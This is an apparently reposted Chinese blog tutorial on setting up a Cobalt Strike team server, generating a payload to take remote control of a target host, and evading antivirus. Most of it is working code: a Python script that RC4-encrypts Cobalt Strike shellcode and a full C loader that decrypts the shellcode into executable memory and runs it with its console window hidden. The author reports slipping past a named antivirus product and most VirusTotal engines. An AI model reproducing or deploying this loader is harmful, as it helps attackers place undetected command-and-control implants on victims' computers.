Cobalt_Strike(CS)渗透工具安装使用到免杀上线

Cobalt_Strike(CS)安装到免杀上线

原文链接:
cs免杀上线 点我

https://mp.weixin.qq.com/s?__biz=MzkxNDY5NzMxNw==&mid=2247483862&idx=1&sn=c6b4da3ce5772a075431098227397baa&chksm=c16b3cdcf61cb5ca06f615130cde9e20719a516476609442f329bf4eeb143c656ea6e5c16cd2&token=980969003&lang=zh_CN#rd

安装

将压缩包上传Linux服务器上解压

解压后里面有两个文件,teamserver和TeamServerImage,要赋予他们两个可执行权限才行

chmod 777 teamserver
chmod 777 TeamServerImage

请添加图片描述

执行teamserver,后面跟本机的ip+密码

./teamserver 192.168.182.134 password

这样就算成功了
在这里插入图片描述

上线
用户随便写,直接连接

图片

进入之后新建监听器:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

加载cs插件

在这里插入图片描述

生成pyload上线主机

图片

监听器选择刚刚创建的

图片

记得关闭杀软,不然会被删,把生成的exe文件放到目标主机双击,即可上线cs

图片

免杀

shellcode混淆加密

这里只介绍一种简单的免杀方式,利用未公开函数进行RC4加解密

使用cs生成c语言的pyload,这里注意记住自己使用的是X64还是X86

图片

接下来使用python生成一段RC4加密脚本,对CS的pyload进行加密

import sys
from arc4 import ARC4

# 原始的shellcode(示例)
shellcode = (b"这里放CS生成的pyload")

# 密钥
key = b'secretkey'

# 使用ARC4加密
cipher = ARC4(key)
encrypted_shellcode = cipher.encrypt(shellcode)

# 打印加密后的shellcode
print("Encrypted Shellcode:", encrypted_shellcode.hex())

# 将加密后的shellcode保存到文件
with open("encrypted_shellcode.bin", "wb") as f:
    f.write(encrypted_shellcode)

上面代码运行之后会在当前文件夹下生成一个bin文件,记住这个文件的位置,这里我把它放到了E盘下面

图片

接着写一段C代码,对加密后的shellcode进行解密并执行,注意后缀是.c,不是.cpp它们是不一样的

在这里插入图片描述

这里代码有很多是我方便调试写的,可以去掉那些打印的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
// RC4加密函数
void rc4(unsigned char* data, int data_len, unsigned char* key, int key_len) {
    
    
    unsigned char S[256];
    unsigned char T[256];
    unsigned char temp;
    int i, j = 0, t, k;

    for (i = 0; i < 256; i++) {
    
    
        S[i] = (unsigned char)i;
        T[i] = key[i % key_len];
    }

    for (i = 0; i < 256; i++) {
    
    
        j = (j + S[i] + T[i]) % 256;
        temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }

    i = j = 0;
    for (k = 0; k < data_len; k++) {
    
    
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        temp = S[i];
        S[i] = S[j];
        S[j] = temp;
        t = (S[i] + S[j]) % 256;
        data[k] ^= S[t];
    }
}

void print_shellcode(unsigned char* shellcode, int length) {
    
    
    for (int i = 0; i < length; i++) {
    
    
        printf("\\x%02x", shellcode[i]);
    }
    printf("\n");
}

int main() {
    
    
    FILE* file = fopen("E:\\encrypted_shellcode.bin", "rb");
    if (!file) {
    
    
        printf("无法打开文件。\n");
        return 1;
    }

    fseek(file, 0, SEEK_END);
    long file_size = ftell(file);
    fseek(file, 0, SEEK_SET);

    unsigned char* encrypted_shellcode = (unsigned char*)malloc(file_size);
    fread(encrypted_shellcode, 1, file_size, file);
    fclose(file);

    unsigned char key[] = "secretkey";
    int key_len = strlen((char*)key);

    // 解密shellcode
    printf("解密shellcode...\n");
    rc4(encrypted_shellcode, file_size, key, key_len);

    // 打印解密后的shellcode
    printf("解密后的shellcode:\n");
    print_shellcode(encrypted_shellcode, file_size);

    // 分配可执行内存
    printf("分配可执行内存...\n");
    void* exec_mem = VirtualAlloc(0, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
    
    
        printf("内存分配失败。\n");
        free(encrypted_shellcode);
        return 1;
    }

    // 复制解密的shellcode到可执行内存
    printf("复制shellcode到可执行内存...\n");
    memcpy(exec_mem, encrypted_shellcode, file_size);
    free(encrypted_shellcode);

    // 执行shellcode
    printf("执行shellcode...\n");
    ((void(*)())exec_mem)();

    // 释放内存
    printf("释放内存...\n");
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}

运行之后,本地主机直接就上线了

图片

把生成的exe文件放到虚拟机执行之后一样上线,这样要注意把加密后的shellcode也要放入虚拟机

图片

图片

成功绕过某绒

vt过60,一大半了,对于刚接触免杀的我来说,已经不错了

图片

未完待续

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_47289634/article/details/139390100